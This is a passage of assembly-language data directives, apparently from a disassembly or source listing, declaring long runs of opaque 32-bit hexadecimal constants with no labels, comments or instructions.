0C600188Eh, 6A2A3804h dd 9668383Ch, 5E6F765h, 2C44B805h, 42860B4Bh, 765BC818h dd 348C6829h, 12BED7C2h, 314262DFh, 1C4E78D0h, 9BA1BB21h dd 543B0BC4h, 774F741Eh, 62EC42A4h, 2F85FB4h, 4269E4C1h dd 0B313DE0Eh, 0C74F103h, 8054C06Eh, 30B8083Ch, 750948F8h dd 335040F4h, 0A0456299h, 0EC6EBACBh, 29FA6C22h, 0C47C2468h dd 438F7C3Fh, 2720A6B4h, 0B166FC78h, 7F1879E1h, 0B4740EA2h dd 0FE445113h, 0D1137118h, 503C992h, 3990A4BBh, 911E9D51h dd 7064A022h, 206846A4h, 0C4B6CEE5h, 3A31A632h, 9F1BD284h dd 9042DB08h, 126AB2A9h, 8CF2E4EBh, 146B19ECh, 0C8A2EEC1h dd 6697101Ch, 0B91B97F8h, 3DC9A71Ch, 577C00Ch, 0BA618F6h dd 0C0B70F04h, 0B870376h, 28125196h, 0DA9BF24Dh, 5046C0Ch dd 4EA23EEh, 0F868B881h, 9316B843h, 53201AC8h, 1031D4F6h dd 5016FE6h, 64F8C682h, 963856A6h, 42F02450h, 0FB701043h dd 88065F7Bh, 0BD4917DFh, 0E58C9B28h, 1D5F1825h, 4FD4688Ch dd 27826E9h, 9FD69BBh, 212F1687h, 574443B4h, 9EBCDC04h dd 0B32C1063h, 357A04F9h, 68B74617h, 7DC889ACh, 0B1F06F9Eh dd 0C61BB2EEh, 903DD0E8h, 591E291Ch, 7768910h, 2C8F868Dh dd 92742B8Eh, 9A7C4A44h, 0EC4854A7h, 0D93F0426h, 8D0C8A05h dd 1CEEE944h, 0D62224F5h, 50BBF521h, 424CFC68h, 0BBD5F16Ah dd 5924EA66h, 21FC646Fh, 0AC2B5337h, 420893F0h, 8482A06Bh dd 5EC0D43Ch, 56577FA6h, 96E81596h, 0E91C083Fh, 906EA91Ah dd 476EF8EBh, 0B1BE84BBh, 9A98C22Eh, 0BB301042h, 0B180088Fh dd 0B16221F4h, 0B4F11F10h, 0EF9C0C42h, 0BADC110Fh, 54972CE2h dd 98858B84h, 0AE8C141h, 84782650h, 0F8214234h, 1ABD2BFEh dd 68F12294h, 851F2618h, 94DEBA77h, 3EB0C717h, 7E102D44h dd 0D86ED22Bh, 0C9266C96h, 443C9B5Bh, 8A0C1125h, 0A8353104h dd 529918A0h, 9169B6A6h, 0FC1CB2A5h, 4A19A811h, 0E8AE5042h dd 0F5473D96h, 5CF766FBh, 1589AF34h, 0A054EC4Ch, 4B8BDA1Bh dd 2BE7ED64h, 0FC0436F8h, 0BF327868h, 53239C1Ah, 0A3B4BE09h dd 3004CE86h, 57F63383h, 338C5BA7h, 8D9C0106h, 242B554Dh dd 2D27E194h, 8DF89397h, 568982C8h, 2580C653h, 0C6DAC63Bh dd 58896C5Eh, 914F347Bh, 8B5499Ch, 7D3B390Ch, 2FA1F5CEh dd 176A07B4h, 0EAD8F702h, 0E61C6892h, 0BFFC7C80h, 43579C31h dd 0B72BE814h, 752F1056h, 0F5BA41Eh, 8A33CBD8h, 292AA67Fh dd 4E94EE94h, 0B1ED3553h, 21D82A7Bh, 0E8B8830Ch, 0AAB4AF25h dd 3C801660h, 0B15C4B3Eh, 2FB0CB62h, 0E8164657h, 498CAF0Fh dd 534A9FEAh, 9A0EB31h, 0D260DC90h, 5E0ECBEFh, 0D86B3CEEh dd 50B65CBFh, 0CDBFB47Ch, 991C1148h, 523A1812h, 0A9190D24h dd 0ECA87B8Eh, 0E1545969h, 977074D0h, 0C713665Eh, 560761BAh dd 66DFC2BEh, 0F0F78949h, 24BA886Eh, 682006C2h, 8BB571E0h dd 377BB80Ah, 0E5C41B20h, 0AF94AE5Ah, 0ACA62A36h, 1E56570Eh dd 0A6BA6C2Dh, 6955102Ah, 5E781C5Ah, 0D202D497h, 0FC0F3D2Ch dd 5BAEE888h, 3E1AA5B6h, 52190DB4h, 0AC4B1457h, 987DE139h dd 0EC96F27Ch, 2B38A2BCh, 10246872h, 0D8A0585Fh, 7EC6E469h dd 0D2E81C23h, 0E40728B3h, 93716A80h, 0ED32506h, 0E844E699h dd 4814CE2Bh, 0C6172523h, 98574E24h, 108C9800h, 0F35350E4h dd 0FF1684F3h, 0FDE3DF12h, 0CFF9E18Bh, 77BFF40Bh, 1DC4529Bh dd 0DE64D41Ah, 91FC71D6h, 54AB946h, 0FF50D681h, 83F892Dh dd 5C88FDC8h, 0D4C44446h, 1811267Bh, 7E4EDE2Eh, 0D1200FE8h dd 0B7A9C697h, 4D9FD0B9h, 8A4E8817h, 0C6A0D7Ch, 1910FFD8h dd 0F177B28Fh, 490EA15h, 0E3FFAD7Fh, 25612402h, 55B6A144h dd 0AE8280AAh, 3F865D6Eh, 0C1E1AC71h, 9855D59h, 0E4286F63h dd 4758A38h, 0E9460196h, 0DA95192Ch, 0CA274A1Bh, 21B643A0h dd 0F20E9018h, 22101928h, 32A29ACFh, 73AA8209h, 565902B0h dd 827A7A56h, 550350AEh, 4A430F6Eh, 20FEB011h, 0C75F0510h dd 0FF012080h, 0C7224D65h, 0B1E803ECh, 0F1BDFC8Dh, 0DE2EBC75h dd 0C6EE24FAh, 29BEF012h, 47347B62h, 8BAF30AEh, 46D6C04Dh dd 313005CDh, 12498204h, 0A3B37A81h, 4C6C4426h, 6595579Ch dd 2FF4ACD3h, 6A2585C6h, 48DB590Ah, 4ABC1113h, 0D8CE43F8h dd 0A4DDAC92h, 748434ECh, 0DAD093E8h, 89C02812h, 0C2924BAh dd 0DC43D084h, 0B062DC91h, 37C424FCh, 5783A519h, 0E0AE1224h dd 0AC6249BAh, 55C4455Dh, 2EF54EEh, 0E0723A20h, 2040D995h dd 3B6809A9h, 0D2294105h, 0C4573957h, 348EC61Ch, 0BDE3913h dd 1EFF639Dh, 8DED42B7h, 9A42EB88h, 2766514Dh, 574868FAh dd 960B489h, 49E1E8C0h, 0B9A492AEh, 1344110Bh, 0E2B5D817h dd 564A89AEh, 0FEBC4250h, 0D05DD913h, 0F0FA4821h, 5173A1DCh dd 0AD4502E5h, 37DCA124h, 6971B8F0h, 6BD04883h, 156C72A1h dd 88E87D88h, 3F85AFFFh, 7268AA5Fh, 640995EAh, 0A646165Dh dd 575C90ADh, 0B822150Fh, 0C80EEB33h, 0BC2C5E8Dh, 22C7B3ADh dd 0D09F10B8h, 74BEDDC7h, 9572AB0Eh, 259CDD56h, 8C5FF059h dd 0BDCCD6EAh, 89A47342h, 84BC2CECh, 588447F4h, 259A265Fh dd 0AAC089B8h, 0D1C65782h, 14D0A4C9h, 8DCC098Fh, 94DD7CB3h dd 8B9BA824h, 80EDF70Eh dd 776B0677h, 2268CC18h, 45410725h, 0D04D896Bh, 53C56853h dd 75E0B3C0h, 6399910Ah, 1082BBF1h, 0BC08BB51h, 0E3E841ECh dd 910929AEh, 0AD532810h, 98DE3659h, 0D02C7E80h, 9B92173Eh dd 0EBC3094Fh, 22DD1413h, 3121470Ch, 8288254Bh, 0B6D7CBB5h dd 82E6A578h, 0ACFBE8FCh, 5E7A6E5Eh, 112842F2h, 0CFB3F122h dd 65D8127Ch, 83513E6h, 0DFE9247Ch, 0F0F30689h, 0D889BBA4h dd 94A4F1EEh, 24A4BB28h, 0EF3FD411h, 2CBACF94h, 4BD01BE9h dd 32359A1Dh, 68C41495h, 78A657B9h, 5E52E8ECh, 0CA94F9Dh dd 3203D4E1h, 6478C880h, 1AB882Ch, 1E396197h, 3322AA14h dd 950A64DCh, 7ABC72F8h, 8DC4004Ah, 59D63332h, 0C9D93B9h dd 9D06F7E4h, 8CAE6E59h, 0C5FBEA2h, 1C5D62EBh, 0E1F5A69Ah dd 9C73364Ah, 8EABD784h, 246F5924h, 557290C4h, 1D104C26h dd 0E766E834h, 0D1F10AAh, 0BC4D5988h, 406A02EAh, 53491084h dd 8D517DFDh, 3EDFD92Ah, 44403BE2h, 6EB55088h, 60234A74h dd 48246839h, 7638BB92h, 60775449h, 794AA88Ah, 0E8F11169h dd 0CDA3450Fh, 0D7C232E8h, 597F03F2h, 1B4C53A2h, 1030567Bh dd 1F6ABC25h, 0EB53BA05h, 9EE0CA26h, 983DC2DAh, 750D48DEh dd 71657F49h, 28423D7Fh, 0F7E81C93h, 0E2DFF42Fh, 2EFE5728h dd 3948A93Ch, 0C4D0134Ah, 3F2187AAh, 8347D26Ch, 5848B5A1h dd 35662C1h, 9C23264Ch, 9508BC51h, 7F2920A6h, 5394E1AAh dd 8490A847h, 582A6E47h, 0B8104E27h, 5651B16Eh, 52CE957Eh dd 0F7C7B8F5h, 56356BDFh, 2E8A1867h, 46740688h, 74104D17h dd 272936EDh, 0DB747028h, 680BEB09h, 0D691150h, 0BD59C393h dd 575E8B59h, 8052533h, 0B645E810h, 18897CADh, 68C23857h dd 0DD30A07Ch, 0B5DB9947h, 4E13E964h, 5A45131h, 78882762h dd 0F4FDEC62h, 895F6071h, 699DCB8h, 0FFFA5C85h, 0C5D0E3FEh dd 0CEEF633h, 0EC241DEAh, 8CA34964h, 0B4249B50h, 69A912F2h dd 0CB68DCEAh, 5FCB41F6h, 2467C420h, 513C2975h, 593342A8h dd 1A6D9D2Eh, 3B3B040Ah, 53A28954h, 0E0205B52h, 0AAA42156h dd 0B089D04Fh, 574E0DCEh, 4E20C22h, 88D2F6E4h, 0BD29693Bh dd 0E090D3CDh, 17E5A4A4h, 0D298015Eh, 59F99653h, 6C144203h dd 0F0D096ACh, 81880C4Fh, 884FB4F4h, 59174642h, 0F026C5E1h dd 2C9ACCCDh, 70E8E619h, 7C46B7CAh, 6A2887B5h, 0F22EB36Dh dd 0B114272Ch, 0A828C5C1h, 0B464CE20h, 0BB92C89Ch, 88E665D0h dd 680DFBECh, 133EE328h, 269B84A6h, 0D1341811h, 0D217D45h dd 1E8B096Ah, 0F911A50Ch, 0C9AE29B8h, 911677B4h, 45DC4528h dd 6840DC9Ch, 0D34107BFh, 5D1EF823h, 0C5B8C9A3h, 8C86440h dd 0EC227637h, 45CE2148h, 21F9C569h, 48B488A2h, 0B4561544h dd 2FE97599h, 1A24A3C4h, 9F5057B0h, 0B5EA48B3h, 0DCE88890h dd 93646EFFh, 2B07CA62h, 34AD935Bh, 27EBA4F5h, 9116A750h dd 27855B4Ch, 27BBDE39h, 0F12751DCh, 0A8189705h, 0E809DD43h dd 6994223Fh, 0F0FA98FFh, 49DB7433h, 0B74ECB87h, 33AF5F55h dd 0FEE546FEh, 592425E2h, 686E4C7Ch, 90FF824h, 6A8F447h dd 3CC33BD7h, 19751014h, 4A4CA1E6h, 1441417h, 0FF0C4E83h dd 983AEA52h, 8D10AA32h, 28751484h, 5989B66Ch, 0C3043354h dd 34EB1476h, 0E9AF05EAh, 693ABDA0h, 9916D6BEh, 901410E8h dd 820EC0Ch, 63D7F05Dh, 10036A94h, 3712450h, 3574C32Bh dd 7E2C9B48h, 4253AC06h, 20632118h, 0BA2F5181h, 574C4D04h dd 80100DD7h, 8A31BEBh, 6B9404B2h, 16C97F98h, 0CD4CDC08h dd 77DD6A34h, 19193314h, 942360Ah, 0CC92F04h, 0E8566330h dd 0C1A29434h, 145668FFh, 6A7010B7h, 54519F18h, 970BD424h dd 645374A6h, 0C7BAC2F7h, 6BD2DC29h, 0AD41E44h, 733E3B56h dd 56047E16h, 67317BC5h, 0AC7FF07Dh, 0D3FFC59Bh, 24BB7E25h dd 0FCCF7255h, 0D720EB22h, 46EC6C66h, 0FC7F0467h, 4590508Dh dd 23BCA214h, 45A572E8h, 0C92EEB91h, 3E886BB8h, 996070E8h dd 0DF6EA84Eh, 83BCA823h, 7E83A916h, 3FD187F7h, 31419468h dd 41A042CDh, 746AC5ACh, 18215905h, 0BADFC3F8h, 0F47EA527h dd 68500343h, 680AE013h, 0A1A20BF2h, 2206FCB1h, 0C68B14A9h dd 2258E2F9h, 2054446Ah, 0F826A864h, 7BA65527h, 49C03F25h dd 4FF173F9h, 955A15E8h, 50248562h, 0A828F1BEh, 7CF845E8h dd 0AC659933h, 64BBC4CEh, 8C406B0h, 4FBC10C0h, 0CCD833F4h dd 0DA0FDC06h, 0D44E1D90h, 8841C6A6h, 7DD21565h, 0EC448214h dd 0E356FCA8h, 68088FB0h, 8B954B74h, 0CD4EFF41h, 0CBE8206Ah dd 0ECF44D09h, 0F07527CDh, 9AFD8989h, 6231569Dh, 3E4516EBh dd 9E4B3C08h, 44C7A034h, 0D91A59FCh, 0B0C98171h, 0A1DCEBA0h dd 0C914E8BAh, 6ACD242Ch, 82D92EE1h, 402BED7Fh, 8A913789h dd 2627409h, 77D23217h, 7640E80Ch, 8C8A2A08h, 0F9804135h dd 0D4C3210Ah, 74020DFAh, 584C609h, 0F42C7850h, 8C882A40h dd 1246F009h, 53BD18Ah, 50D672A6h, 8E64124Ch, 9886BD77h dd 0A5167E98h, 98EBC066h, 0AEA4358Bh, 0EDB8D6F4h, 0F746D1Ah dd 7CB7040Eh, 32417D21h, 8EB243E6h, 0FF9310DCh, 8908BE22h dd 347EDE90h, 0A275C606h, 42200B48h, 854C2164h, 0B8ED8E0Fh dd 76F08412h, 0A84DEF83h, 0C08ADEEBh, 0C8BE0F42h, 5394F981h dd 0C3C1542Fh, 731D083Ch, 7FDD5774h, 3C7531Eh, 0A55B0A75h dd 6C91285Ah, 0C7FB6CEBh, 4CB21EE6h, 2031C2C6h, 258F908h dd 44FB24FAh, 0FD000DFCh, 0EB066A0Ah, 1B1364Ah, 4633D37Ah dd 0D3CE61Fh, 75595030h, 12C65225h, 4C650A37h, 0EB01022Eh dd 76F33B13h, 89914E26h, 80202208h, 0A85903F0h, 9351F8A6h dd 97B56E09h, 34D08669h, 3D5347BDh, 47717C3h, 27A256BCh dd 1BE98D82h, 0B5E5957h, 45380C75h, 91950AE9h, 28DEF06Ah dd 0FBA4BFC7h, 0C423A963h, 0A9CBEBD4h, 5B401020h, 0FA5DDE2Ch dd 5927E8DDh, 0F613E4D9h, 26A88983h, 0C2BE5375h, 2656A38Bh dd 1939C0D1h, 0F004EEB2h, 0A994F873h, 0F653C97Eh, 0FB945491h dd 0B14E2191h, 0B20C2CF7h, 14512810h, 0B9381B5h, 4ED9995Eh dd 28FEDABEh, 0A65A06D0h, 95F10D25h, 1A420F28h, 49CC6066h dd 0B9A3304Fh, 4BCD3844h, 0BE0F6487h, 3EF8B731h, 5B565902h dd 76FBDC64h, 0C4136A04h, 2082D88Bh, 0C469CBDEh, 4438CFBFh dd 43F6286Ch, 0E1A59A88h, 124853C1h, 1E19626Ah, 11729DFBh dd 0C489C842h, 8C44E59h, 31FF2C44h, 211A13D2h, 1CD871C8h dd 7BA18F05h, 444BEC88h, 1362551Fh, 0F9E839E9h, 231710E5h dd 0FC62B8C8h, 2B1973A4h, 86C3D00Ah, 3DEE898Dh, 0E0C45F11h dd 5992A04Ch, 26283E97h, 590505D4h, 29EA042Ch, 0D402606Fh dd 0B950298h, 2FA8C677h, 6E928D5Fh, 0BDACCE84h, 8BDB0937h dd 44BE7806h, 0EED68905h, 0D452D7BFh, 0EE328950h, 5A12FA0Eh dd 0D7BD7C27h, 0C4108E19h, 2DAE9FC7h, 0D46BA526h, 0AB77498Bh dd 3217C56Dh, 43367F62h, 0BD80C596h, 4043009h, 32D6ED4Ch dd 0E631451Ah, 3840E004h, 7774BC5Dh, 0EAAC89A3h, 0BDE87270h dd 0C588B6ABh, 68162C61h, 12E3F049h, 105352E8h, 164199E6h dd 9D88B401h, 0F5C65743h, 0E85D5001h, 626AA0A3h, 1D8430E4h dd 0B2E6856Ah, 960AF7C4h, 4F95567Ah, 73C17890h, 32858B66h dd 49286FA6h, 1AC88D58h, 0C923A634h, 2832AB59h, 179C5FECh dd 0B95D752Fh, 22D6B0BCh, 98B73CBAh, 0BE85B84h, 83F1432h dd 8D719E68h, 73D9E4A7h dd 0A35DDBADh, 886C906Fh, 9C21FC4Bh, 0F9215E9Fh, 7E4CC89Dh dd 0C3E85A3Fh, 5FD20C21h, 494906E2h, 4C8A2E59h, 9CC85D42h dd 43181C7Ah, 5BA8D384h, 0C889EAA5h, 6A13A56Eh, 859D9A23h dd 893AF9C9h, 0EA233A59h, 12F641C9h, 39DAF06Ah, 9741012h dd 0D73CFEDh, 0F07201F9h, 33A02E0Bh, 2D5CFB95h, 3A568902h dd 991569CAh, 1BD0B79Eh, 0CACA5738h, 7E1142E4h, 29A7534Eh dd 572C740Ah, 76F84934h, 684A169Fh, 4916605Fh, 74426D73h dd 4B3E9B48h, 0D769F22Bh, 4447C8F9h, 8A60A65Ah, 53E54619h dd 1FBE4475h, 0C91EE545h, 0F5087C22h, 9A826B0Dh, 899D558h dd 0FC8C01F2h, 0D513FF04h, 7EE7CE1Dh, 68144DC1h, 67824932h dd 8295F806h, 0EB1B53ABh, 2556343Ch, 0B85D9068h, 799D3976h dd 10CC9728h, 1FF88821h, 0A488E124h, 0FC8C62FEh, 38825F22h dd 3484F888h, 0EF7B398Ah, 0E5EC2DC9h, 0A0E7B59Bh, 400682Dh dd 456EB550h, 0A734565Fh, 8D6AC2F1h, 6F100D46h, 0DCFE9509h dd 2A535916h, 0ACC464AEh, 9D171252h, 21F674DDh, 3BFEA0B5h dd 45A168FCh, 41322FD6h, 0EC8BFF56h, 75423E51h, 0B5565519h dd 1299C25Ah, 0E22457F6h, 0A22AA47h, 18771290h, 0E19BF167h dd 0D63CE87Fh, 0FAC410BBh, 10F27AF4h, 0EF42816Dh, 2C389B84h dd 99A48F6h, 0E9F01C8Ah, 9F396EC0h, 0D4285C91h, 0FCBF9576h dd 9DA9EBB7h, 8BB58AD0h, 2836AB24h, 8943A50Ah, 64F7B2B5h dd 9B847678h, 2AE805A5h, 6A65FA9Ch, 0AB7510ACh, 94667917h dd 8E0FE146h, 0A0A19239h, 288B8DF4h, 418788CFh, 0A1A42EFAh dd 0A011D889h, 599710F4h, 1F594BA3h, 1182C41Ah, 80496875h dd 0CCA4B3Bh, 25C83C19h, 0DEF429FBh, 0F0B096h, 9D38809Eh dd 0B18929A2h, 0A3C25504h, 53867E55h, 9425B9BBh, 95E14190h dd 0F2C65381h, 0B7E3204Ah, 0C9AB11D3h, 0CBE431F9h, 842224B4h dd 1B12DD03h, 2AC85D78h, 5F8B648Ah, 909674B2h, 748D20D3h dd 58F5D34Dh, 51F47876h, 0BF21BF9Eh, 981397A1h, 8A150E34h dd 5C688258h, 23E45A4Dh, 86249E18h, 7FD98857h, 803704D8h dd 1052E959h, 1104C8C8h, 8D8A0DEDh, 0E2DB1B33h, 238ED932h dd 1275C0B8h, 3224C0FEh, 8A1451C9h, 828BC8D1h, 0C1FE0EEBh dd 88D1099h, 0C0B6320Fh, 647FC906h, 8213B78Ah, 2B09140Ah dd 0F29C5C7h, 7AB6D408h, 82027D6Ah, 0B4F495F0h, 4AF88B42h dd 82A4DF85h, 478F9175h, 92F34A04h, 6EC20ABFh, 0C3C79F7h dd 0AC9D4321h, 0C47E46E2h, 91E360Dh, 49FE3C05h, 64AA1645h dd 9F8C016h, 0B1D03068h, 80BBD272h, 0FD5F8F12h, 56A14982h dd 82C22C3Fh, 27B39470h, 59C1B6A4h, 0D7371375h, 394A1F3Bh dd 93B22EDAh, 0EA0B57CBh, 55FCC389h, 8A031478h, 2C620C5Ch dd 8E580971h, 0CFAA7ED7h, 141243ACh, 87E5551Ch, 110AA276h dd 429118C1h, 211C6512h, 5608AD34h, 0AD932C98h, 0F65B7070h dd 77CB95ACh, 6957B142h, 11945006h, 0F82105FAh, 0F688F010h dd 8CF9F247h, 1056B97Ch, 62A160E8h, 7593AF0Ch, 0BD9B7A93h dd 75029163h, 0E6754B37h, 545E7549h, 0AF84B5F2h, 0FCEC619Ch dd 448C9408h, 0E8130C14h, 62BF7D86h, 4AFB5E92h, 229C0896h dd 24A52C83h, 2572B295h, 0D148A9F7h, 0E7241FB3h, 909CCA71h dd 39F42523h, 53A62851h, 71612D91h, 0FE8404B5h, 516A05AAh dd 0D07C8C50h, 19BB21CBh, 0A577082Bh, 0C53B2344h, 79757438h dd 868C2A28h, 90FD4524h, 6812FB0Fh, 0F844314Ch, 970C049Ah dd 998DD584h, 201DA11Dh, 0FC928096h, 0E88DA050h, 2E2ABD66h dd 3B531432h, 0D157A496h, 0C4639762h, 2B2512A4h, 0BC150853h dd 8BA2F5AFh, 27688408h, 0E8DE106Ah, 0BF0F1262h, 78A2B4F0h dd 85B5FC4Bh, 2F62524h, 7B7480C4h, 1D91146Ah, 25EB2C66h dd 7E2D831Fh, 4047AF1Ah, 40A1556h, 0C7107D5Bh, 9C058584h dd 7F68E9C1h, 1E712C0Dh, 577DC320h, 2C82B2Eh, 3C5A5444h dd 8031439h, 10198A40h, 88300804h, 5286B48Bh, 6467178Dh dd 2D1A960Fh, 8C20509Fh, 12B0D2DEh, 0E8B30217h, 0F2C89140h dd 236B05A4h, 0F8002625h, 2DE8317Bh, 84B93D27h, 25765959h dd 5C52879Bh, 467885B4h, 9641EB56h, 8F1C62BEh, 505A5338h dd 905FEB21h, 84A921FBh, 431E09A8h, 5CAB2088h, 99597031h dd 0C7B39F27h, 32102AB4h, 431DBC96h, 40EB2496h, 7401FE03h dd 30A3A14h, 27A0FA0h, 26040540h, 89D41A75h, 935D07EBh dd 8328B587h, 9F1C2DE8h, 2A834726h, 0E381142Ch, 0EB42B413h dd 7F278C0Fh, 0D8709729h, 0A48EC381h, 592CE847h, 9446E841h dd 1244DB7Ah, 2BAB4B8h, 9B3EE87Ch, 27274379h, 0F2855842h dd 34EFAD13h, 0F820B072h, 821583B7h, 0AE128490h, 2FE41232h dd 0F35495E9h, 344DC972h, 5F808A3Eh, 9D83F3D5h, 99735E8Bh dd 36842B81h, 0B5E876E4h, 0FC160CCDh, 0BC4189CAh, 0BC6821D6h dd 8800285Eh, 0D875C298h, 1A84DBF8h, 6ED4E881h, 61236174h dd 0EE798AE8h, 0F54CFDFAh, 4F314A13h, 7105D081h, 94DBF393h dd 73D02D19h, 3CE4E462h, 7E645675h, 0A3629088h, 6AE41597h dd 304F9578h, 869105F3h, 0F292EB13h, 64EDDD65h, 0FCFAFB4Eh dd 0D368646Ah, 55149889h, 0EC83B5E0h, 20428660h, 7846E7E8h dd 68F912C8h, 0BB53090Fh, 0E497A978h, 0FE2F817Ch, 16C0F93Eh dd 0D4D993C5h, 0FD5323A5h, 9C280FE9h, 553B2627h, 75060337h dd 58858BC6h, 6D1E1364h, 0F4AFA053h, 6CB47532h, 54682274h dd 96EBAF98h, 539B6CB7h, 4421179Dh, 86A0D490h, 332DC38Bh dd 7ADDA4FFh, 845D8945h, 442726A9h, 0F84B242h, 0EBAFD547h dd 0E3A1D1D7h, 4BA155E9h, 68EAA021h, 1E960F60h, 429D2064h dd 6E1AD76Eh, 48BB571h, 9205557Fh, 0FFD6418Ch, 0AB688534h dd 1091400Fh, 0D58BDA5Dh, 271C3819h, 77A2E145h, 2ECD111Bh dd 0A6D5BB4Ah, 0E41521F7h, 57D05C5Dh, 10647E88h, 0D6585B4Ah dd 75884A47h, 72AA5649h, 90C99F82h, 3F5ABD1Ch, 61A0A32Fh dd 545B84Fh, 8F888FAh, 5F4B0A98h, 9590CA44h, 0BB93BDADh dd 0C35E5D04h, 6419FDABh, 75717B2Ah, 128121EBh, 75386A26h dd 48682ADAh, 80AFB11h, 654068C9h, 0B0487148h, 0A5381201h dd 48283315h, 22438630h, 11642888h, 0E1862038h, 0B815751Ch dd 11111868h, 0A7C994EFh, 90117C08h, 6896A0DEh, 0CD428608h dd 0A970A894h, 0F1CBC11h, 8511FCBFh, 85EF468h, 5B59A715h dd 4786E808h, 50977D92h, 4317AEDBh, 947910A0h, 944264BCh dd 536298C8h, 43F5B694h, 263E2990h, 2D328844h, 6CF5243Ah dd 76951C32h, 3C8CC10h, 93EE2174h, 0DD426168h, 0C450B993h dd 9356CC0Ch, 65BCC887h, 0B43728B7h, 88A64386h, 749564ACh dd 420C873Ch, 937C1060h, 158767BCh, 0AD722604h, 0C8FC1076h dd 0CF07141h, 0E4108730h, 0F2EA1FC8h, 0ECAD890h, 48435C87h dd 0BC92F510h, 0C89242E0h, 92CF6238h, 15245436h, 1026A5BAh dd 0E8A9C818h, 8B2EA565h, 0B3891328h, 4492D994h, 55483225h dd 1AB175C5h, 0B107FC49h, 2DB0893Fh, 84C05A93h, 4B489D88h dd 1D35EFFCh, 7A3100F5h, 0BCEC0F05h, 6405EBD3h, 2AB9E25Dh dd 85F1525h, 5E491AFBh, 0BF0FC303h, 87570AEAh, 30E451EFh dd 0E80ABCEDh, 3C729C31h, 890BE8CAh, 0AF8E7FE4h, 0B06D0249h dd 975F005h, 31FCCAAEh, 106AB48Dh, 48EC4D2Ch, 11614286h dd 5D849156h, 0E9C412D4h, 0FE561A13h, 7B6867AEh, 0E8613674h dd 2D77731Dh, 2AEC867Eh dd 0B07BCA94h, 9F8C9EE8h, 4BBD291Eh, 4B0FEE79h, 7E4D29F4h dd 508B3112h, 866848C8h, 1590D062h, 367297E2h, 0C429C223h dd 0C93F3D18h, 844F2954h, 5348EC48h, 0A0E3761Eh, 48534B11h dd 80C1F04Fh, 259F51BDh, 0D0CFD906h, 8B13825Ch, 0F671E43Dh dd 5ECD4F4Bh, 6AD6711Dh, 1D6F19F5h, 186E5869h, 0AA6774F8h dd 0A4641913h, 6DEF6E87h, 14990A9Fh, 10544E9Ah, 0DFFAD9E8h dd 0A4301BFDh, 0DD867AD6h, 7CE4EC44h, 8FF388CFh, 584C2183h dd 9C5CB311h, 0F4882843h, 2216CB59h, 0F0517469h, 161EC499h dd 5761AE87h, 802E347Eh, 5BC80E0h, 8D0D1AA0h, 75088454h dd 4C60338h, 0A388020h, 93EED37h, 0E16A8838h, 1E391886h dd 0CC557C59h, 840FFCA8h, 0A760289Dh, 28A01332h, 523CC525h dd 854AEF86h, 86681123h, 48027EC9h, 12B8CAB9h, 0E997452Ch dd 743D219Bh, 1A395867h, 2023FB46h, 8060F870h, 36A165EBh dd 5A210A31h, 2BC4425Ch, 0B011312Fh, 55DD0F90h, 2E903155h dd 62226F9Bh, 2709938Ch, 8FA8290Fh, 3ED02044h, 9C07850Fh dd 0D642241Bh, 8D705521h, 0F53DE2E9h, 436649D1h, 1D46D41Bh dd 1154E29Bh, 0E9CC6B94h, 1F4EBD04h, 6C11A547h, 29084FDh dd 24DCBB65h, 188E6952h, 0C29A7B5Dh, 0E93FDF4h, 98E844BCh dd 64F1E2BBh, 2EA96C21h, 8F61BC10h, 0F85FD0CAh, 66ACD38Ah dd 1C562014h, 0AE538493h, 0C690C9BDh, 16FD6C11h, 8776F8Fh dd 0BA21FBE4h, 0B5F18A26h, 150B1A70h, 48377389h, 28462B5h dd 6AEE0209h, 5993E10Eh, 4DEE4D2Ah, 4C8A60A5h, 61EE0DD3h dd 2BFD7C28h, 0E95ABADBh, 0E9526239h, 452474F3h, 1B39875Fh dd 6ACCB29Ah, 0A9A7D84Eh, 0DA70E025h, 16A343D0h, 0E60DC04Dh dd 0C36B3651h, 0AED47DEFh, 3A91D929h, 0FEB941A3h, 2BA8DEE9h dd 0FD4F5AA7h, 5282F4Ah, 39FCAA76h, 0CC3CC63Bh, 2285B74Fh dd 8CE6214h, 5D03D07Dh, 0D43218D2h, 6D50880h, 50D619CCh dd 41149FDCh, 0AE8EE0Eh, 6290168Dh, 5B01B999h, 0DF24BF04h dd 78681B43h, 2D12BB56h, 2D54EC41h, 49EA576Bh, 138EE457h dd 9C67E810h, 98CC0936h, 16F9A8F4h, 0BA54EB02h, 1C085194h dd 0EB10F84Bh, 0B0683811h, 25512FC8h, 0A48C96ECh, 89F2BFF9h dd 0F455891Fh, 210E8894h, 0DA013902h, 0E280D21Ah, 88D1F00Eh dd 6870557Ch, 862E406Ch, 0AC5052F8h, 6E52FAC9h, 9AFEC189h dd 7F2B1006h, 9EE42E11h, 61A8303Fh, 1841BC4Ch, 0B80E9918h dd 1000B652h, 360330A5h, 3E5E146Ah, 70E65513h, 0C867CAC4h dd 1FB6FC6Fh, 0E9E880D3h, 813F8403h, 5211E5C2h, 0FBEC5D73h dd 8B3D0501h, 0EE7C1F8h, 3DF0F7AAh, 1C57290Bh, 5869A82Ch dd 0ED0C7F11h, 0B76A50CDh, 20D8313Bh, 0E8256DCh, 905D888Ch dd 691A382h, 30926616h, 88510CD8h, 206ACC98h, 0E84223B1h dd 0BD3AD0D6h, 0D4553F92h, 23C5C66Dh, 6A311D84h, 7F0F1C34h dd 0FC35232Ah, 21CC4621h, 0E2A21034h, 14911960h, 0F4991284h dd 42027470h, 46442988h, 0C9102890h, 0D9D6C87Eh, 0D189145Ch dd 943F2D21h, 0E82D7581h, 5B988BF6h, 1893F5Dh, 481C1045h dd 3BE8C080h, 7F04C8FAh, 0CA8C0F3Ch, 0E4D788FAh, 73C41CC0h dd 0BCBDE92Eh, 8C225B18h, 0E4682C0Ch, 8A716359h, 6211C242h dd 0FD238B18h, 0E5038899h, 62A4D65Dh, 5F5E49CCh, 0C389F3F9h dd 0B19AD55Fh, 0AE20105Fh, 1263DA7Ch, 38C5F07Dh, 0BE418923h dd 0D87B7B16h, 801D15FFh, 89A77ADAh, 576749A5h, 0C153A620h dd 848D2C39h, 5E047232h, 70E6EAF1h, 20C6CBBFh, 0CA9750D8h dd 0BD3DF73h, 0FF4E733Ch, 0BCA1BBACh, 913F0903h, 3C686A5Fh dd 0FE448439h, 675B5819h, 43024E6Ch, 7F988902h, 479F13F8h dd 75FC05CAh, 44DC2C5Fh, 846208FBh, 33909554h, 3504DFD6h dd 570ADC7Dh, 13D9481Ch, 0F665BED8h, 0FE443591h, 1D6B5A11h dd 0DD09FCF9h, 0C1AB1522h, 284E3F4h, 0E2147559h, 0B40D4D4Eh dd 0FA8B9A51h, 19295057h, 